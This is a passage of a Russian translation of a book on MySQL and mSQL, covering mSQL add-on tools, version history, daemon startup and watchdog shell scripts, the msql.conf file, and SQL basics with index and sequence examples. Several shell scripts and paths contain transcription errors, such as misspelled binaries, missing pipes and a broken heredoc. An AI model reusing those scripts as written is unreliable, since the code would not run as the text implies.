    Преобразует файлы DBF в таблицы mSQL. DBF - это формат файлов базы данных dBASE, бывшей когда-то ведущей настольной базой данных. Хотя dBASE утратил популярность, формат DBF установился как наиболее распространенный для передачи данных между различными приложениями баз данных. Все главные настольные приложения баз данных могут читать и писать DBF-файлы. Это приложение полезно для экспорта/импорта данных в коммерческие настольные базы данных.

    mSQLpp

    Конвертирует ESQL (Ingres Embedded SQL - встроенный SQL для Ingres) в SQL, доступный для mSQL. ESQL встраивается прямо в исходный код программ на С, чтобы облегчить доступ к базам данных из С. Эта программа конвертирует файл исходного кода С с ESQL в файл исходного кода С, использующий стандартный API mSQL.v Она предназначена для работы в качестве препроцессора и обычно позволяет с помощью фильтрации использовать ESQL-файлы с mSQL без всякой модификации.

    Интерфейсы CGI

    РНР

    Создает HTML-страницы со специальными тегами, распознаваемыми анализатором РНР. РНР содержит интерфейсы к большинству основных баз данных, включая MySQL и mSQL. PHP более подробно освещается в главе 12 "РНР и другие средства поддержки HTML, управляемого базами данных".

    dbadmln

    Обеспечивает интерфейс CGI к mSQL. Это программа CGI, позволяющая обращаться к любой таблице базы данных mSQL, как если бы она была формой HTML. Можно модифицировать данные в таблице и далее осуществлять операции над самой базой данных.


    Jate

    Полный интерфейс CGI к mSQL. Jate имеет много сервисов, все они доступны через формы HTML. Можно просматривать и редактировать данные, а также настраивать вывод. Jate импортирует данные плоского файла через текстовые поля HTML. Она также оптимизирует некоторые данные и поисковые запросы перед отправкой их на сервер базы данных.

    mSQLCGI

    Еще один CGI-интерфейс к таблицам mSQL. Эта программа позволяет просматривать и модифицировать таблицы mSQL через WWW с использованием форм HTML. Особенностью этого интерфейса является необходимость обработки каждой таблицы, которую вы хотите использовать, специальной прилагаемой программой, прежде чем к ней можно будет получить доступ через Web.

    Клиентские приложения

    dbview

    Показывает структуру базы данных mSQL. Эта утилита сходна с relshow, но имеет некоторые дополнительные возможности. Например, dbview показывает количество записей в каждой таблице.

    XfSQL

    Обеспечивает полный доступ к данным таблиц mSQL в качестве клиента Xforms для X Window System. С помощью этого инструмента можно добавлять, удалять и просматривать данные таблиц в X Window System.

    XmSQL

    Обеспечивает полный доступ к данным таблиц mSQL как независимый от библиотеки клиент X Window System. Благодаря этому она будет компилироваться на любой системе X Window.

    mSQLsql

    Отображает форматированные таблицы. Используя эту утилиту, можно просматривать таблицу mSQL в различных видах, включая настраиваемые рамки и разделители для форматированных ASCII-таблиц. Можно также генерировать HTML-таблицы, используя заданные пользователем параметры.

    mSQLwin-relshow

    Аналог утилиты relshow для графического интерфейса Windows.

    Интерфейсы программирования

    ConNExS

    Предоставляет интерфейс между mSQL и электронной таблицей NexS. NexS является популярной электронной таблицей с возможностью интерактивной связи с внешним источником данных. ConNExS позволяет таблицам mSQL служить источником данных для электронных таблиц NexS. Все изменения в электронной таблице будут отображены в связанной с ней таблицей mSQL.


    mSQLBase

    Предоставляет API SQLBase как С-оболочку для программ, работающих с mSQL. SQLBase API - это API доступа к базам данных независимого разработчика, поддерживающий несколько основных серверов SQL. Эта программа транслирует mSQL API в SQLBase API, в результате чего клиенты SQLBase могут работать с mSQL.

    mSQLCLI

    Инкапсулирует С API для mSQL таким образом, что клиенты ODBC под OS/2 могут работать с mSQL. ODBC - распространенный независимый от баз данных API, поддерживаемый большинством баз данных под OS/2 и Windows. Эта оболочка реализует стандартные средства ODBC, поддерживаемые mSQL, но только для операционной системы OS/2. Она содержит минимальный уровень функциональности ODBC.

    msqldll

    Упаковывает С API для mSQL в виде DLL для Windows. С помощью этой DLL можно создавать приложения для Windows, используя Visual Basic или другой инструмент для программирования в Windows, работающий с DLL.

    MsqlJava

    Создает оболочку сетевого протокола TCP/IP mSQL для Java API, напоминающую mSQL С API. Помогает быстро начать создавать приложения Java разработчикам, которые уже знают mSQL С API, но не знакомы со стандартом JDBC API. MsqlJava работает только с JDK 1.0.

    mSQL-JDBC

    Реализует стандарт Java Database Connectivity (JDBC) API поверх сетевого протокола TCP/IP mSQL. Этот пакет поддерживает максимальный уровень функциональности JDBC, возможный для mSQL в среде JDK 1.1 и JDK 1.2 (Java 2), включая стандарт JDBC 2.O. В главе 14 "Java и JDBC" подробно обсуждается программирование на Java с использованием этого API, а в главе 22 "Справочник по JDBC" представлено полное справочное руководство по JDBC 2.0.

    MsqlODBC

    Реализует ODBC API для mSQL 1 в Windows. Дэвид Хьюз в настоящее время работает над реализацией для mSQL 2.

    mSQLPerl

    Обеспечивает сценариям Perl доступ к базам данных mSQL. В главе 10 "Perl", подробно обсуждается программирование на Perl для MySQL и mSQL, а в главе 21 "Справочник по Perl", представлено полное справочное руководство по mSQLPerl.


    mSQLPython

    Обеспечивает сценариям Python доступ к базам данных mSQL. В главе 11 "Python", подробно обсуждается программирование на Python для MySQL и mSQL, а в главе 20 "Справочник по Python", представлено полное справочное руководство по mSQLPython.

    mSQLRexx

    Поддерживает доступ к mSQL из REXX, языка сценариев, наиболее часто используемого в OS/2.

    mSQLTCL

    Позволяет программам на Tel иметь доступ к базам данных mSQL. Поддержка включает многие расширения Tcl, в том числе Tcl/Tk и Expect.

    mSQLVdb

    Обеспечивает доступ к базам данных mSQL через библиотеку базы данных Vdb. Vdb - не зависящий от типа базы данных API для С, позволяющий единому клиенту иметь доступ к различным серверам баз данных. Клиенты Vdb могут использовать этот API для доступа к базам данных mSQL.

    zmsql

    Обеспечивает объектно-ориентированный доступ к базам данных mSQL для программ на C++.

    Разное

    mod_auth_msql

    Осуществляет аутентификацию пользователей сервера Apache. Обычно Apache осуществляет контроль доступа с помощью простых текстовых файлов, содержащих имена пользователей и зашифрованные пароли. Данный модуль позволяет управлять доступом через базу данных mSQL.

    mSQLEmacs

    Расширяет базовую поддержку режима SQL в Emacs, обеспечивая отступы и выделение цветом для mSQL-диалекта SQL.

    msqlexpire

    Удаляет из таблиц mSQL устаревшие данные. Для использования этой программы нужно иметь в таблице mSQL колонку, содержащую возраст данных. Эта программа находит в таблице данные старше указанного возраста и удаляет их. Можно потребовать, чтобы msqlexpire посылала уведомления по электронной почте после каждого удаления.

    mSQLSSL

    Вводит в mSQL поддержку защищенных сетевых соединений по протоколу SSL. Чтобы использовать этот продукт, необходимо скомпилировать mSQL вместе с ним. Будучи установленным, полностью защищает ваши сетевые соединения от любопытных глаз.

    Sqs

    Генерирует уникальные числовые идентификаторы для таблиц базы данных. После установки этой программы на сервере как демона, любое число клиентов может соединяться с демоном, чтобы создавать, читать или удалять последовательности.

    Версии mSQL

    После выхода mSQL сообщество разработчиков программ немедленно подверглось его воздействию. Впервые появилась возможность работы с доступным по цене, поддерживающим SQL, ядром базы данных. Одной из поразительных особенностей было то, что оно не только было сравнимо по производительности с основными коммерческими продуктами, но на практике было быстрее - иногда более, чем в 100 раз -в тех областях, для которых предназначалось.

    Однако в наше время вычислительная среда долго не стоит на месте. С возникновением широкомасштабного сотрудничества через Интернет не стало проектов, недоступных для преданных им групп программистов. К 1996 году стали появляться другие недорогие реализации SQL, MySQL в их числе, и mSQL перестала существовать в одиночестве.

    В продолжение 1990-х Хьюз разрабатывал и совершенствовал mSQL. Однако ядро базы данных в итоге достигло той точки, где дальнейшая разработка требовала глубокого пересмотра всего проекта. Такая большая работа потребовала бы много времени, поскольку новый проект влечет новые ошибки и промахи. Одновременно необходимо осуществлять и поддержку существующего продукта. Таким образом, mSQL 2 появилась как переработка ядра базы данных при продолжении одновременной поддержки существующего продукта - mSQL 1.

    mSQL 2 вышла в то время, когда первоначальный продукт начал устаревать. Проблемы с устойчивостью и отсутствие важных функциональных возможностей, таких, как поддержка достаточного числа типов данных, заставляли искать другие решения, например MySQL. mSQL 2 обеспечила устранение многочисленных ошибок, досаждавших пользователям последних версий mSQL 1, и добавила многочисленные новые возможности, сохраняя при этом верность первоначальным целям проекта. Расширилось подмножество ANSI SQL, поддерживаемое mSQL, и было добавлено несколько новых типов данных. Был переработан способ индексирования, значительно повысивший мощь системы.

    Основные изменения, произведенные в mSQL 2 в сравнении с mSQL 1, следующие:

    Возросшие устойчивость и производительность


    В первом выпуске mSQL 2 были решены все известные проблемы со стабильностью в mSQL 1. Были устранены утечки памяти, а код тщательно протестирован для выявления ошибок. Общая производительность выросла, несмотря на добавление новых характеристик.

    Улучшенная поддержка индексов

    В первой версии mSQL использовалась очень слабая схема индексирования. В каждой таблице можно было иметь только один индекс, состоящий только из одной колонки, - первичный ключ. В mSQL 2 индексирование полностью переработано с целью поддержки более сложных и часто встречающихся задач. Теперь можно иметь несколько индексов для каждой таблицы и составлять их более чем из одной колонки. Индексирование теперь поддерживает индексные файлы как в виде В-дерева, так и в стиле AVL.

    Дополнительные типы данных

    В mSQL 2 добавились многие типы данных, что приближает его к полной реализации спецификации ANSI SQL2. Наряду с MONEY, DATE и TIME mSQL 2 поддерживает теперь и тип TEXT. В первоначальной версии mSQL все поля были фиксированной длины, и поэтому текстовые поля типа CHAR имели предустановленный размер. Часто для поддержки таких атрибутов, как адреса электронной почты или названия книг, приходилось определять большое поле типа CHAR, что приводило к неоправданному расходу памяти. Например, для поля адреса электронной почты вы определили бы поле CHAR(35). Даже если адрес оказывался "xxx@imaginary.com", mSQL использовал все 35 символов поля. Еще хуже то, что если адрес оказывался длиннее 35 символов, вам сильно не повезло. Новый тип данных TEXT решает обе проблемы, позволяя вам задать среднюю длину поля. Все, превышающее этот размер, будет храниться в буфере переполнения. При меньшем размере лишние символы не будут записываться. К сожалению, поля типа TEXT имеют недостатки, не позволяющие использовать их в качестве индексов и употреблять в предложениях типа LIKE.

    Улучшенный сервис и поддержка API

    Стандартный инструментарий, поставляемый с mSQL, улучшен с целью поддержки всех новых характеристик. Хьюз добавил новые функции, такие как, например, копирование и переименование таблиц в msqladmin. Приложение W3-msql для взаимодействия с WWW существенно переделано и дополнено. Язык сценариев переработан в Lite - язык с прямой поддержкой взаимодействия WWW и баз данных.

    Если вы новичок в mSQL, то почти наверняка начнете работать с mSQL 2. Если вы имеете дело с уже работающей системой, то следует скрупулезно учитывать различия между обеими версиями, особенно если вы собираетесь перейти на mSQL 2.



    Запуск mSQL

    mSQL - это действительно единственное ядро базы данных типа "завел и поехал". Иными словами, можно установить mSQL, запустить сервер и сразу заняться делом. Серверный процесс mSQL называется msql2d (для серверов mSQL 1 он называется msqld). Этот исполняемый файл и все утилиты, поступающие с дистрибутивом mSQL, находятся в каталоге bin. Запустить экземпляр mSQL можно, просто введя msql2d без всяких параметров командной строки.

    Такая реализация по умолчанию не всегда вас удовлетворит. В большинстве случаев потребуется отредактировать файл msql.conf в каталоге дистрибутива mSQL. Этот файл конфигурации mSQL 2 (в mSQL 1 он отсутствует) позволяет определить несколько часто используемых параметров. Его изменение обычно необходимо тогда, когда вы используете какой-нибудь прекомпилированный дистрибутив.

    Демон mSQL - не ветвящийся процесс. Это означает, что запуск его из командной строки оставит процесс работать на терминале, пока вы явно не нажмете CTRL-C, чтобы прекратить его, или не переведете процесс в фоновый режим. Под Unix можно запустить сервер mSQL из командной строки в фоновом режиме, введя команду:

    msqld2 &

    Следующий сценарий запускает процесс сервера mSQL при запуске системы и корректно завершает его при остановке системы:


    #!/bin/sh

    if [ $1 - "start" ]; then
    if [ -x /usr/local/Hughes/bin/msql2d ]; then

    su msql -c '/usr/local/Hughes/bin/nisql2d &'
    fi

    else

    if [ $1 = "stop" ]; then
    if [ -x /usr/local/Hughes/bin/msqladmin ]; then

    su msql -c '/usr/local/Hughes/bin/msqladmin shutdown'
    fi
    fi
    fi

    В этом сценарии предполагается, что вы запускаете mSQL в Unix с идентификатором пользователя msql. Разумеется, его нужно заменить конкретным ID пользователя, а также заменить /usr/'local/Hughes именем каталога, в который вы установили mSQL.

    Поскольку версия для Win32 не работает пока как служба NT, можно запускать mSQL из папки Автозагрузка (StartUp), просто поместив ярлык для файла msql2d.exe в папку Автозагрузка (использование команды msqladmin мы опишем ниже в данной главе).


    Хотя mSQL является очень устойчивой программой, иногда случаются какие-то неполадки, и сервер "умирает". В особенности ранние версии mSQL имели проблемы с устойчивостью, приводившие к неожиданному краху сервера. На этот случай желательно запустить какое-либо средство для проверки состояния сервера баз данных.

    Приведенный ниже сценарий Unix старательно проверяет, работает ли еще демон msql2d. Если сервер не активен, он перезапускается, и администратору машины посылается сообщение.

    #!/bin/sh

    # Извлечь ID процесса демона базы данных

    # Это годится для mSQL 2; для mSQL 1

    # Строка должна быть другой:

    # PID='cat /usr/local/Minerva/msqld.pid' PID='cat /usr/local/Hughes/msq!2d.pid'

    # Далее проверяется активность процесса сервера.

    # Эта строка пригодна для систем BSD (Linux)

    ALIVE='ps aux grep $PID | grep -v grep | awk '{print $2}"

    # Для систем SysV (Solaris) раскомментируйте следующую строку

    #ALIVE='ps -et grep $PID | grep -v grep | awk '{print $2}"

    if [ $ALIVE ]

    then

    REALLY_ALIVE='msqladmin version' DATE='date'

    #Если 'ERROR', или если

    # выдачи вообще не было, msqladmin

    # не могла подключиться к серверу баз данных

    if ! echo $REALLY_ALIVE | grep "^ERROR"

    then

    exit

    fi

    if [ ! $REALLY_ALIVE ]

    then exit;

    fi

    else

    # Для mSQL 1 должно быть /usr/local/Minerva/hin/msqld &

    # for mSQL installations /usr/local/Hughes/bin/msql2d &

    mail -s "mSQL daemon restarted" root@yourmachine.com <
    The mSQL daemon died unexpectedly and was restarted on $DATE.

    Sincerely,

    The mSQL Watchdog

    EOM

    fi

    После запуска mSQL может обмениваться данными с окружающим миром двумя способами. Связь с Интернетом происходит через порт TCP/IP. По умолчанию mSQL слушает порт 1112. mSQL2 слушает порт 1114. Вы можете при желании изменить номер порта либо во время компиляции (mSQL 1), либо через файл конфигурации (mSQL 2).

    Локальная связь происходит через сокеты Unix. Сокеты Unix выглядят обычными файлами файловой системы Unix. От обычных файлов их можно отличить по символу, следующему за именем при использовании флага `F` в команде Is. mSQL использует файл /deu/msql, в то время как mSQL 2 использует файл /usr/local/Hughes/msql2.sock.


    Запуск нескольких демонов

    Иногда может оказаться полезным запустить несколько серверов базы данных одновременно. Наиболее часто причиной этого служит желание увеличить производительность. Поскольку mSQL имеет однопо-точную архитектуру, она обрабатывает запросы последовательно. Если значительная часть обращений происходит лишь к одной из баз данных и даже таблиц, приложения, обращающиеся к другим базам данных или таблицам, могут простаивать длительное время в ожидании обработки запроса.

    В многопоточном сервере, таком как MySQL, вы не столкнетесь с этой проблемой, но и в mSQL можно обойти ее, запустив несколько процессов mSQL. Недостатком такого решения является то, что к одной базе данных может обращаться только один демон. Без этого ограничения один демон мог бы переписывать изменения, вносимые другим. Осуществить такое ограничение можно, указав каждому работающему экземпляру msql2d отдельный исходный каталог для хранения баз данных. В mSQL 2 это можно сделать через параметры командной строки и файл конфигурации. Для mSQL 1 придется компилировать и устанавливать mSQL несколько раз в разные каталоги.

    Чтобы установить для mSQL 2 второй каталог, используйте следующие команды:

    mkdir -p /usr/local/second_database/msqldb/. tmp

    ср /usr/local/Hughes/msql.conf /usr/local/Hughes/msql.acl\

    /usr/local/second_database

    chown -R msql /usr/local/second_database

    Запуск mSQLНекоторые Unix-системы используют mkdirs вместо mkdir -p, в других же такая возможность может вообще отсутствовать, и тогда каждый каталог придется создавать отдельно. Вам придется также заменить идентификатор пользователя, под именем которого вы запускаете msql2d, если он отличен от "msql". В Windows и OS/2 процедура та же, за исключением названий команд и символа-разделителя пути.

    Когда каталоги созданы и файлы скопированы, нужно отредактировать файл msql.conf из нового каталога, чтобы переменная Inst_Dir указывала на /usr/local/'second_database, а значение TCP_Port не конфликтовало с другими TCP-службами сервера. Значение Unix_Port можно не изменять, поскольку новый сокет будет образован в новом каталоге.


    Для запуска нового демона введите ту же команду msql2d со следующими параметрами:

    msql2d -f /usr/local/second_database/msql. conf

    При работе с mSQL 1 положение немного сложнее. Придется откомпилировать и установить mSQL столько раз, сколько экземпляров mSQL вы хотите запускать. Все ваши утилиты будут работать с любым экземпляром сервера.

    Файл конфигурации mSQL

    Мы уже сталкивались с файлом конфигурации mSQL, но еще не вникали в мелкие подробности. В mSQL 1 все, кроме безопасности, определялось во время компиляции. В mSQL 2 есть файл конфигурации, позволяющий управлять поведением сервера mSQL во время работы. Ниже дан пример файла конфигурации.

    [general]

    Inst_Dir = c:\usr\local\Hughes

    mSQL_User = msql

    Admin_User = root

    Pid_File = %I\msql2d.pid

    TCP_Port = 1114

    Unix_Port = %I\msql2.sock

    [system]

    Msync_Timer = 30

    Host_Lookup = True

    Read_0nly = False

    Remote_Access = True

    Local_Access = True

    [w3-msql]

    Auth_Host = NULL

    Footer = True

    Force_Private = False

    Сценарий конфигурации разделен на секции, как ini-файл в Windows, состоящие из пар ключ-значение. Сейчас для нас представляет интерес только секция general.

    Inst_Dir

    Каталог, в который установлена mSQL. Более точно, это каталог, в котором mSQL ищет ваш ACL-файл, РID-файл для mSQL, и каталог msqldb, в котором размещаются каталоги баз данных. В результате можно поддерживать несколько серверов mSQL с единым набором исполняемых файлов.

    mSQL_User

    ID пользователя, от имени которого запускается процесс mSQL.

    Admin_User

    ID пользователя, которому разрешено выполнять команды администрирования, такие как msqladmin, обсуждаемая в следующем параграфе.

    TCP_Port

    Порт TCP/IP, который будет слушать сервер. В Unix номер порта, меньший 1024, можно выбрать, только если сервер mSQL запущен суперпользователем.

    Unix_Port

    Имя файла сокета Unix. В этом файле мы использовали переменную % 1% вместо Inst_Dir.



    и mSQL используется структурированный язык

    Диалект SQL, используемый в MySQL и mSQL

    Для чтения и записи в базах данных MySQL и mSQL используется структурированный язык запросов (SQL). Используя SQL, можно осуществлять поиск, вводить новые данные или удалять данные. SQL является просто основополагающим инструментом, необходимым для взаимодействия с MySQL и mSQL. Даже если для доступа к базе данных вы пользуетесь каким-то приложением или графическим интерфейсом пользователя, где-то в глубине это приложение генерирует SQL-команды.

    SQL является разновидностью "естественного языка". Иными словами, команда SQL должна читаться, по крайней мере на первый взгляд, как. предложение английского языка. У такого подхода есть как преимущества, так и недостатки, но факт заключается в том, что этот язык очень непохож на традиционные языки программирования, такие как С, Java или Perl.

    В этой главе мы рассмотрим язык SQL, как он реализован в MySQL и mSQL. По большей части, диалект MySQL является надмножеством диалекта mSQL. Мы старательно отметим те случаи, где два диалекта расходятся. Однако в основном эта глава относится и к одной, и к другой СУБД.



    Индексы

    Хотя MySQL и mSQL обеспечивают более высокую производительность, чем любые большие серверы баз данных, некоторые задачи все же требуют осторожности при проектировании базы данных. Например, если таблица содержит миллионы строк, поиск нужной строки в ней наверняка потребует длительного времени. Как указывалось в главе 2, в большинстве баз данных поиск облегчается благодаря средству, называемому индексом.

    Индексы способствуют хранению данных в базе таким образом, который позволяет осуществлять быстрый поиск. К несчастью, ради скорости поиска приходится жертвовать дисковым пространством и скоростью изменения данных. Наиболее эффективно создавать индексы для тех колонок, в которых вы чаще всего собираетесь осуществлять поиск. MySQL и mSQL поддерживают одинаковый синтаксис для создания индексов:

    CREATE INDEX index_name ON tablename (column1,

    column2,

    columnN)

    MySQL позволяет также создавать индекс одновременно с созданием таблицы, используя следующий синтаксис:

    CREATE TABLE materials (id INT NOT NULL,

    name CHAR(50) NOT NULL,

    resistance INT,
    melting_pt REAL,
    INDEX indexl (id, name),
    UNIQUE INDEX index2 (name))

    В этом примере для таблицы создается два индекса. Первый индекс indexl состоит из полей id и name. Второй индекс включает в себя только поле name и указывает, что значения поля name должны быть уникальными. Если вы попытаетесь вставить в поле name значение, которое уже есть в этом поле в какой-либо строке, операция не будет осуществлена. Все поля, указанные в уникальном индексе, должны быть объявлены как NOT NULL .

    Хотя мы создали отдельный индекс для поля name, отдельно для поля id мы не создавали индекса. Если такой индекс нам понадобится, создавать его не нужно - он уже есть. Когда индекс содержит более одной колонки (например, name, rank, nserial_number), MySQL читает колонки в порядке слева направо. Благодаря используемой MySQL структуре индекса всякое подмножество колонок с левого края автоматически становится индексом внутри "главного" индекса. Например, когда вы создаете индекс name, rank, serial_number, создаются также "свободные" индексы name и name вместе с rank. Однако индексы rank или name и seri-al_number не создаются, если не потребовать этого явно.


    MySQL поддерживает также семантику ANSI SQL для особого индекса, называемого первичным ключом. В MySQL первичный ключ - это уникальный индекс с именем PRIMARY. Назначив при создании таблицы колонку первичным ключом, вы делаете ее уникальным индексом, который будет поддерживать объединения таблиц. В следующем примере создается таблица cities с первичным ключом id.

    CREATE TABLE cities (id INT NOT NULL PRIMARY KEY,

    name VARCHAR(100),

    pop MEDIUMINT,

    founded DATE)

    Прежде чем создавать таблицу, нужно решить, какие поля будут ключами (и будут ли вообще ключи). Как уже говорилось, любые поля, которые будут участвовать в объединении таблиц, являются хорошими кандидатами на роль первичного ключа. Подробно обсуждение того, как проектировать таблицы с хорошими первичными ключами, можно найти в главе 2.



    Основы SQL

    SQL "структурирован" в том отношении, что он следует определенному набору правил. Компьютерной программе легко разобрать на части сформулированный запрос SQL. Действительно, в книге издательства O'Reilly "lex & у асе", написанной Джоном Ливайном, Тони Мэйсоном и Дугом Брауном (John Levine, Tony Mason, Doug Brown), реализована грамматика SQL для демонстрации процесса создания программы, интерпретирующей язык! Запрос (query) - это полностью заданная команда, посылаемая серверу баз данных, который выполняет запрошенное действие. Ниже приведен пример SQL-запроса:

    SELECT name FROM people WHERE name LIKE 'Stac%'

    Как можно видеть, это предложение выглядит почти как фраза на ломаном английском языке: "Выбрать имена из список люди, где имена похожи на Stac". SQL в очень незначительной мере использует форматирование и специальные символы, обычно ассоциируемые с компьютерными языками. Сравните, к примеру, "$++;($*++/$|);$&$л„;$!" в Perl и "SELECT value FROM table" в SQL.

    История SQL

    В IBM изобрели SQL в начале 1970-х, вскоре после введения д-ром Е. Ф. Коддом (Е. F. Codd) понятия реляционной базы данных. С самого начала SQL был легким в изучении, но мощным языком. Он напоминает естественный язык, такой как английский, и поэтому не утомляет тех, кто не является техническим специалистом. В 1970-х это достоинство было еще более важным, чем сегодня.

    В начале 1970-х не было случайных хакеров. Дети росли, не изучая BASIC и не создавая собственных веб-страничек. Люди, программировавшие компьютеры, знали все о том, как эти компьютеры работают. SQL был предназначен для армии несведущих в технике бухгалтеров, а также делового и управленческого персонала, которым принес бы пользу доступ к мощи реляционной базы данных.

    SQL действительно был настолько популярен среди пользователей, для которых предназначался, что в 1980-х компания Oracle выпустила первую в мире общедоступную коммерческую SQL-систему. Oracle SQL был хитом сезона и породил вокруг SQL целую индустрию. Sybase, Informix, Microsoft и ряд других компаний вышли на рынок с собственными разработками реляционных систем управления базами данных (РСУБД), основанных на SQL.


    В то время когда Oracle и ее конкуренты вышли на сцену, SQL был новинкой, и для него не существовало стандартов. Лишь в 1989 году комиссия по стандартам ANSI выпустила первый общедоступный стандарт SQL. Сегодня его называют SQL89. К несчастью, этот новый стандарт не слишком углублялся в определение технической структуры языка. Поэтому, хотя различные коммерческие реализации языка SQL сближались, различия в синтаксисе делали задачу перехода с одной реализации языка на другую нетривиальной. Только в 1992 году стандарт ANSI SQL вступил в свои права.

    Произносится как "сиквел" или "эс-кю-эль". Некоторые люди относятся с благоговением к произношению SQL. He обращайте на них внимания. Однако нужно заметить, что в MySQL и mSQL правильное произношение -"эс-кю-эль".

    Стандарт 1992 года обозначают как SQL92 или SQL2. Стандарт SQL2 включил в себя максимально возможное количество расширений, добавленных в коммерческих реализациях языка. Большинство инструментов, работающих с различными базами данных, основывается на SQL2 как на способе взаимодействия с реляционными базами данных. Однако, из-за очень большой широты стандарта SQL2, реляционные базы, реализующие полный стандарт, очень сложные и ресурсоемкие.

    Основы SQLSQL2 - не последнее слово в стандартах SQL. В связи с ростом популярности объектно-ориентированных СУБД (ООСУБД) и объектно-реляционных СУБД (ОРСУБД) возрастает давление с целью принятия объектно-ориентированного доступа к базам данных в качестве стандарта SQL. Ответом на эту проблему должен послужить SQL3. Он не является пока официальным стандартом, но в настоящее время вполне определился и может стать официальным стандартом где-то в 1999 году.



    С появлением MySQL и mSQL проявился новый подход к разработке серверов баз данных. Вместо создания очередной гигантской РСУБД с риском не предложить ничего нового в сравнении с "большими парнями", были предложены небольшие и быстрые реализации наиболее часто используемых функций SQL.


    Архитектура SQL

    Как мы уже отмечали, SQL больше напоминает естественный человеческий, а не компьютерный язык. SQL добивается этого сходства благодаря простой четкой императивной структуре. Во многом походя на предложение английского языка, отдельные команды SQL, называемые запросами, могут быть разбиты на части речи. Рассмотрим следующие примеры.

    CREATE TABLE people (name CHAR(10))

    глагол дополнение расширенное определение

    INSERT INTO people VALUES('me')

    глагол косвенное прямое

    дополнение дополнение

    SELECT name FROM people WHERE name LIKE '%e'

    глагол прямое косвенное придаточное дополнение дополнение предложение

    Большинство реализаций SQL, включая MySQL и mSQL, нечувствительны к регистру: неважно, в каком регистре вы вводите ключевые слова SQL, если орфография верна. Например, CREATE из верхнего примера можно записать и так:

    cREatE ТАblЕ people (name cHaR(10))

    Нечувствительность к регистру относится только к ключевым словам SQL. Ради удобочитаемости все ключевые слова SQL в этой книге записаны заглавными буквами. Мы рекомендуем такой стиль как хороший, "опробованный на практике" способ. В MySQL и mSQL имена баз данных, таблиц и колонок к регистру чувствительны. Но это характерно не для всех СУБД. Поэтому, если вы пишете приложение, которое должно работать с любыми СУБД, не следует использовать имена, различающиеся одним только регистром.

    Первый элемент SQL-запроса - всегда глагол. Глагол выражает действие, которое должно выполнить ядро базы данных. Хотя остальная часть команды зависит от глагола, она всегда следует общему формату: указывается имя объекта, над которым осуществляется действие, а затем описываются используемые при действии данные. Например, в запросе CREATE TABLE people (char(10)) используется глагол CREATE, за которым следует дополнение (объект) TABLE .Оставшаяся часть запроса описывает таблицу, которую нужно создать.

    SQL-запрос исходит от клиента - приложения, предоставляющего фасад, с помощью которого пользователь взаимодействует с базой данных. Клиент составляет запрос, основываясь на действиях пользователя, и посылает его серверу SQL. После этого сервер должен обработать запрос и выполнить указанные действия. Сделав свою работу, сервер возвращает клиенту одно или несколько значений.

    Поскольку основная задача SQL - сообщить серверу баз данных о том, какие действия необходимо выполнить, он не обладает гибкостью языка общего назначения. Большинство функций SQL связано с вводом и выводом из базы: добавление, изменение, удаление и чтение данных. SQL предоставляет и другие возможности, но всегда с оглядкой на то, как они могут использоваться для манипулирования данными в базе.



    Последовательности и автоинкрементирование

    Лучше всего, когда первичный ключ не имеет в таблице никакого иного значения, кроме значения первичного ключа. Для достижения этого лучшим способом является создание числового первичного ключа, значение которого увеличивается при добавлении в таблицу новой строки. Если вернуться к примеру с таблицей cities, то первый введенный вами город должен иметь id, равный 1, второй - 2, третий - 3, и т. д. Чтобы успешно управлять такой последовательностью первичных ключей, нужно иметь какое-то средство, гарантирующее, что в данный конкретный момент только один клиент может прочесть число и увеличить его на единицу. В базе данных с транзакциями можно создать таблицу, скажем, с именем sequence , содержащую число, представляющее очередной id. Когда необходимо добавить новую строку в таблицу, вы читаете число из этой таблицы и вставляете число на единицу большее. Чтобы эта схема работала, нужно быть уверенным, что никто другой не сможет произвести чтение из таблицы, пока вы не ввели новое число. В противном случае два клиента могут прочесть одно и то же значение и попытаться использовать его в качестве значения первичного ключа в одной и той же таблице.

    Ни MySQL, ни mSQL не поддерживают транзакции, поэтому описанный механизм нельзя использовать для генерации уникальных чисел. Использовать для этих целей команду MySQL LOCK TABLE обременительно. Тем не менее обе СУБД предоставляют свои варианты понятия последовательности, позволяющие генерировать уникальные идентификаторы, не беспокоясь о транзакциях.

    Последовательности в MySQL

    При создании таблицы в MySQL можно одну из колонок специфицировать как AUTO_INCREMENT . В этом случае, при добавлении новой строки, имеющей значение NULL или 0 в данной колонке, автоматически будет происходить замена на значение на единицу больше, чем наибольшее текущее значение в колонке. Колонка с модификатором AUTO_INCREMENT должна быть индексирована. Ниже приведен пример использования поля типа AUTOJNCREMENT :

    CREATE TABLE cities (id INT NOT NULL PRIMARY KEY AUTO_INCREMENT,


    name VARCHAR(100),

    pop MEDIUMINT,

    founded DATE)

    Когда вы первый раз добавляете строку, поле id получает значение 1, если в команде INSERT для него используется значение NULL или 0. Например, следующая команда использует возможность AUTO_INCREMENT:

    INSERT INTO cities (id, name, pop)

    VALUES (NULL, 'Houston', 3000000)

    Если вы выполните эту команду, когда в таблице нет строк, поле id получит значение 1, а не NULL. В случае, когда в таблице уже есть строки, полю будет присвоено значение на 1 большее, чем наибольшее значение id в данный момент.

    Другим способом реализации последовательностей является использование значения, возвращаемого функцией LAST_INSERT_ID :

    UPDATE table SET id=LAST_INSERT_ID (id+1);

    Последовательности в mSQL

    Каждая таблица в mSQL может иметь одну связанную с ней последовательность. Синтаксис создания последовательности следующий:

    CREATE SEQUENCE ON table_name [VALUE start STEP incr]

    Начальное значение задается числом start, а шаг увеличения при каждом последующем обращении - числом incr. По умолчанию, последовательность начинается с 1 и каждый раз возрастает на 1. Например:

    CREATE SEQUENCE ON mytable VALUE 100 STEP 5

    Создается последовательность в таблице mytable, начальным значением которой будет 100, а при каждом обращении оно будет увеличиваться на 5. Вторым значением, следовательно, будет 105.

    Для доступа к последовательности нужно выбрать из таблицы специальную колонку с именем _seq:

    SELECT _seq FROM table_name

    В результате вы получите очередное значение последовательности и инкрементируете его.



    Расширения языка

    Как MySQL, так и mSQL обладают некоторыми витиеватыми расширениями, аналогов которым вы не найдете в других базах данных. Большинство расширений, имеющихся в MySQL, в целом согласуется со стандартом ANSI SQL. Расширения mSQL связаны просто с особыми переменными, к которым можно обращаться при работе с базой данных mSQL.

    Возможности MySQL

    MySQL превосходит mSQL в поддержке SQL, предоставляя возможность работы с функциями и в некоторой мере — с внешними объединениями. Функции в SQL аналогичны функциям в других языках программирования, таких как С и Perl. Функция может принимать аргументы и возвращает некоторое значение. Например, функция SQRT(16) возвращает 4. В MySQL в команде SELECT функции могут использоваться в двух местах:

    Как извлекаемая величина

